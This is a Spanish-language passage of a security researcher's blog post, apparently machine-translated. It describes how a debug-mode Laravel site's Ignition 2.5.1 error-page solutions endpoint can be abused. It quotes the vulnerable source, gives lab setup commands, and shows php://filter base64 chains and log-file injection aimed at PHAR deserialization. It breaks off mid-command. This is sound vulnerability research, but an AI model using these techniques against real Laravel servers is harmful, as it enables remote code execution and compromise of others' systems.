Saltar al contenido

Laravel

A fines de noviembre de 2020, durante una auditoría de seguridad para uno de nuestros clientes, nos encontramos con un sitio web basado en Laravel. Si bien el estado de seguridad del sitio era bastante bueno, observamos que se estaba ejecutando en modo de depuración, por lo que mostraba mensajes de error detallados, incluidos los seguimientos de pila:

Tras una inspección más profunda, descubrimos que estos rastros de pila fueron generados por Ignition, que era el generador de páginas de error predeterminado de Laravel a partir de la versión 6. Habiendo agotado otros vectores de vulnerabilidad, comenzamos a tener una mirada más precisa a este paquete.

Además de mostrar hermosos trazos de pila, Ignition viene con soluciones, pequeños fragmentos de código que resuelven los problemas que puede encontrar al desarrollar su aplicación. Por ejemplo, esto es lo que sucede si usamos una variable desconocida en una plantilla:

Al hacer clic en “Convertir variable en opcional”, {{ $username }} en nuestra plantilla se reemplaza automáticamente por {{ $username ? '' }}. Si revisamos nuestro registro HTTP, podemos ver el punto final que se invocó:

Junto con el nombre de clase de la solución, enviamos una ruta de archivo y un nombre de variable que queremos reemplazar. Esto parece interesante.

Primero revisemos el vector del nombre de la clase: ¿podemos instanciar algo?

class SolutionProviderRepository implements SolutionProviderRepositoryContract
{
    ...

    public function getSolutionForClass(string $solutionClass): ?Solution
    {
        if (! class_exists($solutionClass)) {
            return null;
        }

        if (! in_array(Solution::class, class_implements($solutionClass))) {
            return null;
        }

        return app($solutionClass);
    }
}

No: Ignition se asegurará de que la clase a la que apuntamos implemente RunnableSolution.

Entonces, echemos un vistazo más de cerca a la clase. El código responsable de esto se encuentra en ./vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php. ¿Quizás podamos cambiar el contenido de un archivo arbitrario?

class MakeViewVariableOptionalSolution implements RunnableSolution
{
    ...

    public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

    public function makeOptional(array $parameters = [])
    {
        $originalContents = file_get_contents($parameters['viewFile']); // [1]
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

        $originalTokens = token_get_all(Blade::compileString($originalContents)); // [2]
        $newTokens = token_get_all(Blade::compileString($newContents));

        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

        if ($expectedTokens !== $newTokens) { // [3]
            return false;
        }

        return $newContents;
    }

    protected function generateExpectedTokens(array $originalTokens, string $variableName): array
    {
        $expectedTokens = [];
        foreach ($originalTokens as $token) {
            $expectedTokens[] = $token;
            if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_COALESCE, '??', $token[2]];
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
            }
        }

        return $expectedTokens;
    }

    ...
}

El código es un poco más complejo de lo que esperábamos: después de leer la ruta del archivo dada [1]y reemplazando $variableName por $variableName ?? '', tanto el archivo inicial como el nuevo serán tokenizados [2]. Si la estructura del código no cambia más de lo esperado, el archivo será reemplazado por su nuevo contenido. De lo contrario, makeOptional volverá false [3]y no se escribirá el nuevo archivo. Por lo tanto, no podemos hacer mucho usando variableName.

La única variable de entrada que queda es viewFile. Si hacemos abstracción de variableName y todos sus usos, terminamos con el siguiente fragmento de código:

$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

Entonces estamos escribiendo el contenido de viewFile de nuevo en viewFile, sin modificación alguna. Esto hace nada !

Parece que tenemos un CTF en nuestras manos.

Salimos con dos soluciones; Si desea probarlo usted mismo antes de leer el resto de la publicación del blog, así es como configura su laboratorio:

$ git clone https://github.com/laravel/laravel.git
$ cd laravel
$ git checkout e849812
$ composer install
$ composer require facade/ignition==2.5.1
$ php artisan serve

Archivo de registro en PHAR

Envoltorios PHP: cambiar un archivo

A estas alturas, probablemente todos hayan oído hablar de la técnica de progreso de carga demostrada por Orange Tsai. Usa php://filter para cambiar el contenido de un archivo antes de que se devuelva. Podemos usar esto para transformar el contenido de un archivo usando nuestra primitiva exploit:

$ echo test | base64 | base64 > /path/to/file.txt
$ cat /path/to/file.txt
ZEdWemRBbz0K
$f = 'php://filter/convert.base64-decode/resource=/path/to/file.txt';
# Reads /path/to/file.txt, base64-decodes it, returns the result
$contents = file_get_contents($f); 
# Base64-decodes $contents, then writes the result to /path/to/file.txt
file_put_contents($f, $contents); 
$ cat /path/to/file.txt
test

¡Hemos cambiado el contenido del archivo! Lamentablemente, esto aplica la transformación dos veces. La lectura de la documentación nos muestra una forma de aplicarla solo una vez:

# To base64-decode once, use:
$f = 'php://filter/read=convert.base64-decode/resource=/path/to/file.txt';
# OR
$f = 'php://filter/write=convert.base64-decode/resource=/path/to/file.txt';

Los badchars incluso serán ignorados:

$ echo ':;.!!!!!ZEdWemRBbz0K:;.!!!!!' > /path/to/file.txt
$f = 'php://filter/read=convert.base64-decode|convert.base64-decode/resource=/path/to/file.txt';
$contents = file_get_contents($f); 
file_put_contents($f, $contents); 
$ cat /path/to/file.txt
test

Escribiendo el archivo de registro

De forma predeterminada, el archivo de registro de Laravel, que contiene todos los errores de PHP y el seguimiento de la pila, se almacena en storage/log/laravel.log. Generemos un error al intentar cargar un archivo que no existe, SOME_TEXT_OF_OUR_CHOICE:

[2021-01-11 12:39:44] local.ERROR: file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory at /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\Foundation\Bootstrap\HandleExceptions->handleError()
#1 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents()
#2 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\Ignition\Solutions\MakeViewVariableOptionalSolution->makeOptional()
#3 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\Ignition\Solutions\MakeViewVariableOptionalSolution->run()
#4 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\Ignition\Http\Controllers\ExecuteSolutionController->__invoke()
[...]
#32 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\Pipeline\Pipeline->Illuminate\Pipeline\{closure}()
#33 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(141): Illuminate\Pipeline\Pipeline->then()
#34 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\Foundation\Http\Kernel->sendRequestThroughRouter()
#35 /work/pentest/laravel/laravel/public/index.php(52): Illuminate\Foundation\Http\Kernel->handle()
#36 /work/pentest/laravel/laravel/server.php(21): require_once('/work/pentest/l...')
#37 {main}
"}

Excelente, podemos inyectar contenido (casi) arbitrario en un archivo. En teoría, podríamos usar la técnica de Orange para convertir el archivo de registro en un archivo PHAR válido y luego usar el phar:// contenedor para ejecutar código serializado. Lamentablemente, esto no funcionará, por muchas razones.

los base64-decode la cadena muestra sus límites

Dijimos anteriormente que PHP ignorará cualquier badchar cuando decodifique una cadena en base64. Esto es cierto, excepto por un carácter: =. Si usa el base64-decode filtrar una cadena que contiene un = en el medio, PHP producirá un error y no devolverá nada.

Esto estaría bien si controlamos todo el archivo. Sin embargo, el texto que inyectamos en el archivo de registro es solo una parte muy pequeña. Hay un prefijo de tamaño decente (la fecha) y un sufijo enorme (el seguimiento de la pila) también. Además, ¡nuestro texto inyectado está presente dos veces!

Aquí hay otro horror:

php > var_dump(base64_decode(base64_decode('[2022-04-30 23:59:11]')));
string(0) ""
php > var_dump(base64_decode(base64_decode('[2022-04-12 23:59:11]')));
string(1) "2"

Dependiendo de la fecha, descodificar el prefijo dos veces produce un resultado de diferente tamaño. Cuando lo decodifiquemos por tercera vez, en el segundo caso, nuestra carga útil tendrá el prefijo 2, cambiando la alineación del mensaje base64.

En los casos en que pudo para que funcione, tendríamos que crear una nueva carga útil para cada objetivo, porque el seguimiento de la pila contiene nombres de archivo absolutos y una nueva carga útil cada segundo, porque el prefijo contiene la hora. Y todavía estaríamos bloqueados si un = logró encontrar su camino en una de las muchas decodificaciones base64.

Por lo tanto, volvimos a la documentación de PHP para encontrar otros tipos de filtros.

Ingresa codificación

Retrocedamos un poco. El archivo de registro contiene esto:

[previous log entries]
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]

Hemos aprendido, lamentablemente, que la decodificación base64 de spam probablemente fallaría en algún momento. Usémoslo para nuestra ventaja: si lo enviamos spam, se producirá un error de decodificación y el archivo de registro se borrará. El siguiente error que produzcamos estará solo en el archivo de registro:

[prefix]PAYLOAD[midfix]PAYLOAD[suffix]

Ahora, volvemos a nuestro problema original: mantener una carga útil y eliminar el resto. Afortunadamente, php://filter no se limita a operaciones base64. Puede usarlo para convertir juegos de caracteres, por ejemplo. Aquí está UTF-16 a UTF-8:

echo -ne '[Some prefix ]P